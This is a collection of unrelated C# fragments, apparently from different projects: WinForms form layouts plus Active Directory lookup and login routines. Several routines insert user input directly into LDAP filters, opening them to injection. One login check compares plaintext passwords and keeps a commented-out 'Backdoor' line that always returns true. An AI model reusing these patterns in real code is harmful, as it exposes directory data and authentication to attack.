System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label10.Location = new System.Drawing.Point(584, 377); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(31, 19); this.label10.TabIndex = 171; this.label10.Text = "OR"; // // textBox4 // this.textBox4.Location = new System.Drawing.Point(835, 496); this.textBox4.Name = "textBox4"; this.textBox4.Size = new System.Drawing.Size(135, 20); this.textBox4.TabIndex = 175; // // textBox8 // this.textBox8.Location = new System.Drawing.Point(422, 376); this.textBox8.Name = "textBox8"; this.textBox8.Size = new System.Drawing.Size(135, 20); this.textBox8.TabIndex = 163; // // label12 // this.label12.AutoSize = true; this.label12.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label12.Location = new System.Drawing.Point(651, 432); this.label12.Name = "label12"; this.label12.Size = new System.Drawing.Size(141, 19); this.label12.TabIndex = 169; this.label12.Text = "Patient Phone number"; // // label5 // this.label5.AutoSize = true; this.label5.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label5.Location = new System.Drawing.Point(258, 433); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(121, 19); this.label5.TabIndex = 174; this.label5.Text = "Patient Last Name"; // // textBox5 // this.textBox5.Location = new System.Drawing.Point(835, 434); this.textBox5.Name = "textBox5"; this.textBox5.Size = new System.Drawing.Size(135, 20); this.textBox5.TabIndex = 166; // // textBox7 // this.textBox7.Location = new System.Drawing.Point(835, 375); this.textBox7.Name = "textBox7"; this.textBox7.Size = new System.Drawing.Size(135, 20); this.textBox7.TabIndex = 164; // // label8 // this.label8.AutoSize = true; this.label8.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label8.Location = new System.Drawing.Point(584, 433); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(31, 19); this.label8.TabIndex = 172; this.label8.Text = "OR"; // // textBox6 // this.textBox6.Location = new System.Drawing.Point(422, 432); this.textBox6.Name = "textBox6"; this.textBox6.Size = new System.Drawing.Size(135, 20); this.textBox6.TabIndex = 165; // // label11 // this.label11.AutoSize = true; this.label11.Font = new System.Drawing.Font("Times New Roman", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label11.Location = new System.Drawing.Point(651, 495); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(101, 19); this.label11.TabIndex = 170; this.label11.Text = "Patient address"; // // button5 // this.button5.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button5.Location = new System.Drawing.Point(0, 455); this.button5.Name = "button5"; this.button5.Size = new System.Drawing.Size(234, 44); this.button5.TabIndex = 179; this.button5.Text = "Go to patient rooms"; this.button5.UseVisualStyleBackColor = true; this.button5.Click += new System.EventHandler(this.button5_Click); // // button6 // this.button6.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button6.Location = new System.Drawing.Point(0, 518); this.button6.Name = "button6"; this.button6.Size = new System.Drawing.Size(234, 46); this.button6.TabIndex = 180; this.button6.Text = "Go to patients appointments"; this.button6.UseVisualStyleBackColor = true; this.button6.Click += new System.EventHandler(this.button6_Click); // // button7 // this.button7.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button7.Location = new System.Drawing.Point(0, 583); this.button7.Name = "button7"; this.button7.Size = new System.Drawing.Size(234, 43); this.button7.TabIndex = 181; this.button7.Text = "Go to patient details"; this.button7.UseVisualStyleBackColor = true; this.button7.Click += new System.EventHandler(this.button7_Click); // // button8 // this.button8.Font = new System.Drawing.Font("Times New Roman", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.button8.Location = new System.Drawing.Point(0, 646); this.button8.Name = "button8"; this.button8.Size = new System.Drawing.Size(234, 44); this.button8.TabIndex = 182; this.button8.Text = "Go to financial fees"; this.button8.UseVisualStyleBackColor = true; this.button8.Click += new System.EventHandler(this.button8_Click); // // Receptionist // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.SystemColors.ActiveCaption; this.ClientSize = new System.Drawing.Size(1008, 682); this.Controls.Add(this.button8); this.Controls.Add(this.button7); this.Controls.Add(this.button6); this.Controls.Add(this.button5); this.Controls.Add(this.textBox3); this.Controls.Add(this.label3); this.Controls.Add(this.textBox4); this.Controls.Add(this.label5); this.Controls.Add(this.label7); this.Controls.Add(this.label8); this.Controls.Add(this.label10); this.Controls.Add(this.label11); this.Controls.Add(this.label12); this.Controls.Add(this.label13); this.Controls.Add(this.label14); this.Controls.Add(this.textBox5); this.Controls.Add(this.textBox6); this.Controls.Add(this.textBox7); this.Controls.Add(this.textBox8); this.Controls.Add(this.textBox2); this.Controls.Add(this.label2); this.Controls.Add(this.EnterCheckId); this.Controls.Add(this.label46); this.Controls.Add(this.EnterPatientAddress); this.Controls.Add(this.patient); this.Controls.Add(this.label43); this.Controls.Add(this.label42); this.Controls.Add(this.label41); this.Controls.Add(this.label9); this.Controls.Add(this.label31); this.Controls.Add(this.label30); this.Controls.Add(this.label29); this.Controls.Add(this.label28); this.Controls.Add(this.label6); this.Controls.Add(this.EnterPatientPhoneNumber); this.Controls.Add(this.EnterpatientLastName); this.Controls.Add(this.EnterPatientFirstName); this.Controls.Add(this.EnterPatiendId); this.Controls.Add(this.textBox1); this.Controls.Add(this.pictureBox1); this.Controls.Add(this.button4); this.Controls.Add(this.button3); this.Controls.Add(this.button2); this.Controls.Add(this.button1); this.Controls.Add(this.monthCalendar1); this.Controls.Add(this.menuStrip1); this.Controls.Add(this.shapeContainer1); this.MainMenuStrip = this.menuStrip1; this.Name = "Receptionist"; this.Text = "Receptionist"; this.Load += new System.EventHandler(this.Form1_Load); this.menuStrip1.ResumeLayout(false); this.menuStrip1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); }
/// <summary> /// 验证域用户 /// </summary> /// <param name="account">域账号</param> /// <param name="password">密码</param> /// <returns></returns> public object queryUser() { try { string accounts = HttpContext.Current.Request["accounts"]; StringBuilder sb = new StringBuilder(); string domainIP = Config.GetValue("DomainName"); //域名 string userAccount = Config.GetValue("Account"); //域账号 string Password = Config.GetValue("Pwd"); //域账号密码 using (System.DirectoryServices.DirectoryEntry deUser = new System.DirectoryServices.DirectoryEntry(@"LDAP://" + domainIP, userAccount, Password)) { System.DirectoryServices.DirectorySearcher src = new System.DirectoryServices.DirectorySearcher(deUser); if (!string.IsNullOrWhiteSpace(accounts)) { StringBuilder sbAcounts = new StringBuilder(); string[] arr = accounts.Split(','); foreach (string str in arr) { sbAcounts.AppendFormat("(sAMAccountName=*{0})", accounts); } src.Filter = string.Format("(&(objectClass=user)(company=*广西华昇新材料有限公司)(|({0})))", sbAcounts.ToString());//筛选条件 } else { src.Filter = "(&(objectClass=user)(company=*广西华昇新材料有限公司))";//筛选条件 } src.SearchRoot = deUser; src.SearchScope = System.DirectoryServices.SearchScope.Subtree; System.DirectoryServices.SearchResultCollection results = src.FindAll(); sb.AppendFormat("总共{0}条记录\n", results.Count); foreach (System.DirectoryServices.SearchResult result in results) { System.DirectoryServices.PropertyCollection rprops = result.GetDirectoryEntry().Properties; string account = ""; //获取账号 if (rprops["sAMAccountName"] != null) { if (rprops["sAMAccountName"].Value != null) { account = rprops["sAMAccountName"].Value.ToString(); } } string realName = ""; //获取姓名 if (rprops["displayName"] != null) { if (rprops["displayName"].Value != null) { realName = rprops["displayName"].Value.ToString(); } } string mobile = ""; //获取手机号 if (rprops["telephoneNumber"] != null) { if (rprops["telephoneNumber"].Value != null) { mobile = rprops["telephoneNumber"].Value.ToString(); } } string department = ""; //获取部门名称 if (rprops["department"] != null) { if (rprops["department"].Value != null) { department = rprops["department"].Value.ToString(); } } sb.AppendFormat("账号:{0},姓名:{1},手机号:{2},部门:{3}\n", account, realName, mobile, department); sb.Append("\n"); } } return(new { code = 0, message = sb.ToString() }); } catch (Exception ex) { System.IO.File.AppendAllText(string.Format(@"D:\logs\{0}.log", DateTime.Now.ToString("yyyyMMdd")), ex.Message); return(new { code = 1, message = ex.Message }); } }
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.directorySearcher1 = new System.DirectoryServices.DirectorySearcher(); this.listView1 = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.buttonFindComputers = new System.Windows.Forms.Button(); this.label1 = new System.Windows.Forms.Label(); this.textBoxTotalAddress = new System.Windows.Forms.TextBox(); this.accept = new System.Windows.Forms.Button(); this.cancel = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); this.SuspendLayout(); // // directorySearcher1 // this.directorySearcher1.ClientTimeout = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerTimeLimit = System.TimeSpan.Parse("-00:00:01"); // // listView1 // this.listView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader1, this.columnHeader2, this.columnHeader3}); this.listView1.FullRowSelect = true; this.listView1.GridLines = true; this.listView1.Location = new System.Drawing.Point(12, 12); this.listView1.Name = "listView1"; this.listView1.Size = new System.Drawing.Size(462, 405); this.listView1.TabIndex = 0; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; this.listView1.SelectedIndexChanged += new System.EventHandler(this.listView1_SelectedIndexChanged); // // columnHeader1 // this.columnHeader1.Text = "#"; this.columnHeader1.Width = 47; // // columnHeader2 // this.columnHeader2.Text = "Имя компьютера"; this.columnHeader2.Width = 246; // // columnHeader3 // this.columnHeader3.Text = "IP"; this.columnHeader3.Width = 129; // // buttonFindComputers // this.buttonFindComputers.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.buttonFindComputers.Location = new System.Drawing.Point(12, 423); this.buttonFindComputers.Name = "buttonFindComputers"; this.buttonFindComputers.Size = new System.Drawing.Size(151, 23); this.buttonFindComputers.TabIndex = 1; this.buttonFindComputers.Text = "Найти компьютеры в сети"; this.buttonFindComputers.UseVisualStyleBackColor = true; this.buttonFindComputers.Click += new System.EventHandler(this.buttonFindComputers_Click); // // label1 // this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label1.AutoSize = true; this.label1.Location = new System.Drawing.Point(162, 428); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(80, 13); this.label1.TabIndex = 2; this.label1.Text = "Адрес devMan"; // // textBoxTotalAddress // this.textBoxTotalAddress.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.textBoxTotalAddress.Location = new System.Drawing.Point(248, 426); this.textBoxTotalAddress.Name = "textBoxTotalAddress"; this.textBoxTotalAddress.Size = new System.Drawing.Size(226, 20); this.textBoxTotalAddress.TabIndex = 2; // // accept // this.accept.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.accept.DialogResult = System.Windows.Forms.DialogResult.OK; this.accept.Location = new System.Drawing.Point(318, 465); this.accept.Name = "accept"; this.accept.Size = new System.Drawing.Size(75, 23); this.accept.TabIndex = 3; this.accept.Text = "Применить"; this.accept.UseVisualStyleBackColor = true; this.accept.Click += new System.EventHandler(this.accept_Click); // // cancel // this.cancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.cancel.DialogResult = System.Windows.Forms.DialogResult.Cancel; this.cancel.Location = new System.Drawing.Point(399, 465); this.cancel.Name = "cancel"; this.cancel.Size = new System.Drawing.Size(75, 23); this.cancel.TabIndex = 4; this.cancel.Text = "Отмена"; this.cancel.UseVisualStyleBackColor = true; // // label2 // this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label2.Location = new System.Drawing.Point(12, 452); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(230, 39); this.label2.TabIndex = 6; this.label2.Text = "Настройки подключения вступят в силу после перезагрузки программы"; // // devManConnectorForm // this.AcceptButton = this.accept; this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.CancelButton = this.cancel; this.ClientSize = new System.Drawing.Size(486, 500); this.Controls.Add(this.label2); this.Controls.Add(this.cancel); this.Controls.Add(this.accept); this.Controls.Add(this.textBoxTotalAddress); this.Controls.Add(this.label1); this.Controls.Add(this.buttonFindComputers); this.Controls.Add(this.listView1); this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "devManConnectorForm"; this.ShowInTaskbar = false; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; this.Text = "Настройка соединения с devMan"; this.Load += new System.EventHandler(this.devManConnectorForm_Load); this.ResumeLayout(false); this.PerformLayout(); }
public bool GetADInformation() { string strUserId = "", strFilter = ""; if(!SAMAccountName.Equals( "" )) { strUserId = SAMAccountName; if(strUserId.Contains( @"\" )) strUserId = strUserId.Substring( 5 ); // only EmCare/EMSC users strFilter = string.Format( "(|(&(objectClass=User)(sAMAccountName={0})(|(company=EmCare*)(company=EMSC*))))", strUserId ); } if(!LastName.Equals( "" )) // only EmCare/EMSC users strFilter = string.Format( "(|(&(objectClass=User)(givenname={0})(sn={1})(|(company=EmCare*)(company=EMSC*))))", FirstName, LastName ); string strServer = System.Configuration.ConfigurationManager.AppSettings["EMSC"].ToString(); string strADUser = System.Configuration.ConfigurationManager.AppSettings["LDAPUID"].ToString(); string strADPwd = System.Configuration.ConfigurationManager.AppSettings["LDAPPwd"].ToString(); string sLDAPPath = string.Format("LDAP://{0}/DC=EMSC,DC=root01,DC=org", strServer); System.DirectoryServices.DirectoryEntry objDE = null; System.DirectoryServices.DirectorySearcher objDS = null; try { objDE = new System.DirectoryServices.DirectoryEntry( sLDAPPath, strADUser, strADPwd, System.DirectoryServices.AuthenticationTypes.Secure ); objDS = new System.DirectoryServices.DirectorySearcher( objDE ); // get the LDAP filter string based on selections objDS.Filter = strFilter; objDS.ReferralChasing = System.DirectoryServices.ReferralChasingOption.None; //String strResult = String.Format( //"(&(objectClass={0})(givenname={1})(sn={2}))", //sLDAPUserObjectClass, sFirstNameSearchFilter, sLastNameSearchFilter); //string sFilter = //String.Format("(&(objectclass=user)(MemberOf=CN={0},OU=Groups,DC={1},DC=root01,DC=org))", // strGroupName, strDomain); objDS.PropertiesToLoad.Add( "userAccountControl" ); objDS.PropertiesToLoad.Add( "SAMAccountName" ); objDS.PropertiesToLoad.Add( "givenName" ); objDS.PropertiesToLoad.Add( "sn" ); objDS.PropertiesToLoad.Add( "TelephoneNumber" ); objDS.PropertiesToLoad.Add( "mail" ); objDS.PropertiesToLoad.Add( "title" ); objDS.PropertiesToLoad.Add( "department" ); objDS.PropertiesToLoad.Add( "company" ); objDS.PropertiesToLoad.Add( "physicalDeliveryOfficeName" ); objDS.PropertiesToLoad.Add( "displayName" ); //start searching System.DirectoryServices.SearchResultCollection objSRC = objDS.FindAll(); try { if( objSRC.Count != 0 ) { //if(objSRC.Count > 1) // Found = Found; // grab the first search result System.DirectoryServices.SearchResult objSR = objSRC[ 0 ]; Found = true; displayName = objSR.Properties[ "displayName" ][ 0 ].ToString(); givenName = objSR.Properties[ "givenName" ][ 0 ].ToString(); sn = objSR.Properties[ "sn" ][ 0 ].ToString(); SAMAccountName = objSR.Properties[ "SAMAccountName" ][ 0 ].ToString(); userAccountControl = objSR.Properties[ "userAccountControl" ][ 0 ].ToString(); int iInactiveFlag = Convert.ToInt32( userAccountControl ); iInactiveFlag = iInactiveFlag & 0x0002; Active = iInactiveFlag <= 0; if( objSR.Properties[ "TelephoneNumber" ].Count > 0 ) TelephoneNumber = objSR.Properties[ "TelephoneNumber" ][ 0 ].ToString(); if( objSR.Properties[ "mail" ].Count > 0 ) mail = objSR.Properties[ "mail" ][ 0 ].ToString(); if( objSR.Properties[ "title" ].Count > 0 ) title = objSR.Properties[ "title" ][ 0 ].ToString(); if( objSR.Properties[ "department" ].Count > 0 ) department = objSR.Properties[ "department" ][ 0 ].ToString(); if( objSR.Properties[ "company" ].Count > 0 ) company = objSR.Properties[ "company" ][ 0 ].ToString(); if( objSR.Properties[ "physicalDeliveryOfficeName" ].Count > 0 ) physicalDeliveryOfficeName = objSR.Properties[ "physicalDeliveryOfficeName" ][ 0 ].ToString(); } else { Found = false; return Found; } } catch( Exception ) { // ignore errors Found = false; return false; } finally { objDE.Dispose(); objSRC.Dispose(); //objDS.Dispose(); } } catch( Exception ) { // ignore errors Found = false; return false; } finally { objDS.Dispose(); } return Found; }
private static System.Data.DataTable GetDataSourceLDAP(System.String book, System.String connectstring, System.String connectusername, System.String connectpassword, System.String searchfilter, System.String namecolumn, System.String mailcolumn, System.String ownercolumn) { System.Data.DataTable datasource = GetDataSourceDataTable(namecolumn, mailcolumn, ownercolumn, book); System.DirectoryServices.DirectoryEntry direntry = new System.DirectoryServices.DirectoryEntry(connectstring); direntry.Username = connectusername; direntry.Password = connectpassword; System.DirectoryServices.DirectorySearcher dirsearcher = new System.DirectoryServices.DirectorySearcher(direntry); dirsearcher.Filter = searchfilter; dirsearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel; dirsearcher.PropertiesToLoad.Add(namecolumn); dirsearcher.PropertiesToLoad.Add(mailcolumn); System.DirectoryServices.SearchResultCollection results = null; try { results = dirsearcher.FindAll(); } catch ( System.Exception e) { if (log.IsErrorEnabled) log.Error("Error while doing LDAP query", e); return null; } System.String name, value; foreach ( System.DirectoryServices.SearchResult result in results ) { name = null; value = null; if ( result.Properties.Contains(namecolumn) && result.Properties.Contains(mailcolumn) && result.Properties[namecolumn].Count>0 && result.Properties[mailcolumn].Count>0 ) { name = result.Properties[namecolumn][0].ToString(); value = result.Properties[mailcolumn][0].ToString(); } if ( name!=null && value!=null ) { try { datasource.Rows.Add(new object[]{name, value}); } catch ( System.Exception ){} } } return datasource; }
private bool ValidateUser(String username, String password) { bool validate = false; String sql_password = ""; String SQLString = "SELECT email, password, reports, maintenance FROM users WHERE email = @email"; try { System.Configuration.Configuration config = System.Web.Configuration.WebConfigurationManager.OpenWebConfiguration("~/"); using (SqlConnection connection = new SqlConnection(config.ConnectionStrings.ConnectionStrings["MarshFormsConnectionString"].ConnectionString)) { connection.Open(); using (SqlCommand cmd = new SqlCommand(SQLString, connection)) { cmd.Parameters.AddWithValue("@email", username); using (SqlDataReader SQLReader = cmd.ExecuteReader()) { if (SQLReader != null) { while (SQLReader.Read()) { sql_password = SQLReader["password"].ToString(); } } } } } } catch (Exception e) { message_label.Text = e.Message.ToString(); validate = false; } if (sql_password == "" && ValidEmail(username)) { String MarshLDAP = System.Configuration.ConfigurationManager.AppSettings["MarshLDAP"]; String MarshDomain = System.Configuration.ConfigurationManager.AppSettings["MarshDomain"]; System.DirectoryServices.DirectoryEntry LDAPDirectoryEntry = new System.DirectoryServices.DirectoryEntry(MarshLDAP, MarshDomain + username, password, System.DirectoryServices.AuthenticationTypes.Secure); try { System.DirectoryServices.DirectorySearcher LDAPDirectoryService = new System.DirectoryServices.DirectorySearcher(LDAPDirectoryEntry); LDAPDirectoryService.FindOne(); validate = true; } catch (Exception e) { message_label.Text = e.Message.ToString(); validate = false; } finally { } } else { if (password == sql_password) { validate = true; } else { message_label.Text = "The user name or password is incorrect."; validate = false; } } //if (Request.Url.ToString().Contains("localhost")) { validate = true; } //locally debugging return true; Backdoor return(validate); }
} // End Function GetUserList private System.Data.DataTable GetGroupList(string strUserName) { System.Data.DataTable dt = new System.Data.DataTable(); dt.Columns.Add("sAMAccountName", typeof(string)); dt.Columns.Add("DistinguishedName", typeof(string)); dt.Columns.Add("cn", typeof(string)); dt.Columns.Add("DomainName", typeof(string)); //using (System.DirectoryServices.DirectoryEntry rootDSE = new System.DirectoryServices.DirectoryEntry("LDAP://DC=cor,DC=local", username, password)) using (System.DirectoryServices.DirectoryEntry rootDSE = LdapTools.GetDE(m_RootDn)) { using (System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(rootDSE)) { search.PageSize = 1001;// To Pull up more than 100 records. //search.Filter = "(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))";//UserAccountControl will only Include Non-Disabled Users. string strUserCondition = ""; if (!string.IsNullOrEmpty(strUserName)) { // strUserCondition = "(samAccountName=" + strUserName + ")"; strUserCondition = "(|(samAccountName=" + strUserName + ")"; strUserCondition += "(cn=" + strUserName + ")"; strUserCondition += "(name=" + strUserName + "))"; } //UserAccountControl will only Include Non-Disabled Users. //search.Filter = "(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2)(samAccountName=stefan.steiger))"; search.Filter = string.Format("(&(objectClass=group)(!userAccountControl:1.2.840.113556.1.4.803:=2){0})", strUserCondition); using (System.DirectoryServices.SearchResultCollection result = search.FindAll()) { foreach (System.DirectoryServices.SearchResult item in result) { string sAMAccountName = null; string DistinguishedName = null; string cn = null; string DomainName = null; if (item.Properties["sAMAccountName"].Count > 0) { sAMAccountName = item.Properties["sAMAccountName"][0].ToString(); } if (item.Properties["distinguishedName"].Count > 0) { DistinguishedName = item.Properties["distinguishedName"][0].ToString(); } if (item.Properties["cn"].Count > 0) { cn = item.Properties["cn"][0].ToString(); } if (item.Properties["SamAccountName"].Count > 0) { DomainName = item.Properties["SamAccountName"][0].ToString(); } if (item.Properties["DistinguishedName"].Count > 0) { DistinguishedName = item.Properties["DistinguishedName"][0].ToString(); } System.Data.DataRow dr = dt.NewRow(); dr["sAMAccountName"] = sAMAccountName; dr["DistinguishedName"] = DistinguishedName; dr["cn"] = cn; dr["DomainName"] = DomainName; dt.Rows.Add(dr); sAMAccountName = string.Empty; DistinguishedName = string.Empty; cn = string.Empty; DomainName = string.Empty; //rootDSE.Dispose(); } // Next SearchResult item } // End Using SearchResultCollection result } // End Using search } // End Using rootDSE return(dt); } // End Function GetGroupList
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(frmPoruka)); this.timer1 = new System.Windows.Forms.Timer(this.components); this.directorySearcher1 = new System.DirectoryServices.DirectorySearcher(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.btnOK = new System.Windows.Forms.Button(); this.label1 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.pnlPrijenosCjenika = new System.Windows.Forms.Panel(); this.pictureBox4 = new System.Windows.Forms.PictureBox(); this.button2 = new System.Windows.Forms.Button(); this.label24 = new System.Windows.Forms.Label(); this.label23 = new System.Windows.Forms.Label(); this.label22 = new System.Windows.Forms.Label(); this.label21 = new System.Windows.Forms.Label(); this.label20 = new System.Windows.Forms.Label(); this.label19 = new System.Windows.Forms.Label(); this.pnlNabavniAkcijski = new System.Windows.Forms.Panel(); this.pictureBox3 = new System.Windows.Forms.PictureBox(); this.button1 = new System.Windows.Forms.Button(); this.label18 = new System.Windows.Forms.Label(); this.label17 = new System.Windows.Forms.Label(); this.label16 = new System.Windows.Forms.Label(); this.label15 = new System.Windows.Forms.Label(); this.label14 = new System.Windows.Forms.Label(); this.label13 = new System.Windows.Forms.Label(); this.pnlMPCakcija = new System.Windows.Forms.Panel(); this.pnlArtiklCSV = new System.Windows.Forms.Panel(); this.label7 = new System.Windows.Forms.Label(); this.label8 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); this.label10 = new System.Windows.Forms.Label(); this.label11 = new System.Windows.Forms.Label(); this.label12 = new System.Windows.Forms.Label(); this.btnOK2 = new System.Windows.Forms.Button(); this.pictureBox2 = new System.Windows.Forms.PictureBox(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.pnlPrijenosCjenika.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).BeginInit(); this.pnlNabavniAkcijski.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); this.pnlMPCakcija.SuspendLayout(); this.pnlArtiklCSV.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); this.SuspendLayout(); // // timer1 // this.timer1.Interval = 3000; // // directorySearcher1 // this.directorySearcher1.ClientTimeout = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerTimeLimit = System.TimeSpan.Parse("-00:00:01"); // // pictureBox1 // this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); this.pictureBox1.Location = new System.Drawing.Point(12, 12); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(96, 81); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; this.pictureBox1.TabIndex = 16; this.pictureBox1.TabStop = false; // // btnOK // this.btnOK.Location = new System.Drawing.Point(506, 525); this.btnOK.Name = "btnOK"; this.btnOK.Size = new System.Drawing.Size(75, 23); this.btnOK.TabIndex = 18; this.btnOK.Text = "OK"; this.btnOK.UseVisualStyleBackColor = true; this.btnOK.Click += new System.EventHandler(this.btnOK_Click); // // label1 // this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label1.ForeColor = System.Drawing.Color.Red; this.label1.Location = new System.Drawing.Point(132, 21); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(252, 62); this.label1.TabIndex = 15; this.label1.Text = "Upute za pravljenje CSV datoteke"; // // label3 // this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label3.ForeColor = System.Drawing.Color.Black; this.label3.Location = new System.Drawing.Point(12, 108); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(585, 49); this.label3.TabIndex = 17; this.label3.Text = "Prilikom izrade CSV dokumenta treba paziti da se uzmu potrebni podaci i sortiraju" + " redom kako je navedeno!"; // // label2 // this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label2.ForeColor = System.Drawing.Color.Black; this.label2.Location = new System.Drawing.Point(12, 157); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(593, 47); this.label2.TabIndex = 19; this.label2.Text = "Kolone redom: Barokod, Cijena, Rabat, AkcijskaCijena, AkcijskiRabat, Odkada, Doka" + "da, Proizvođač, ŠifraKodDobavljača, Konsignacija\r\n"; // // label4 // this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label4.ForeColor = System.Drawing.Color.Black; this.label4.Location = new System.Drawing.Point(12, 204); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(601, 151); this.label4.TabIndex = 20; this.label4.Text = resources.GetString("label4.Text"); // // label5 // this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label5.ForeColor = System.Drawing.Color.Black; this.label5.Location = new System.Drawing.Point(12, 363); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(593, 79); this.label5.TabIndex = 21; this.label5.Text = "Primjer retka s podacima:\r\n\r\n3858888676674;8,15;10; ; ; ; ; ; ;"; // // label6 // this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.label6.ForeColor = System.Drawing.Color.Red; this.label6.Location = new System.Drawing.Point(12, 443); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(585, 52); this.label6.TabIndex = 22; this.label6.Text = "Napomena: obavezne kolone koje moraju postojati su Barkod, Cijena, Rabat , \r\nosta" + "le su proizvoljne i ne 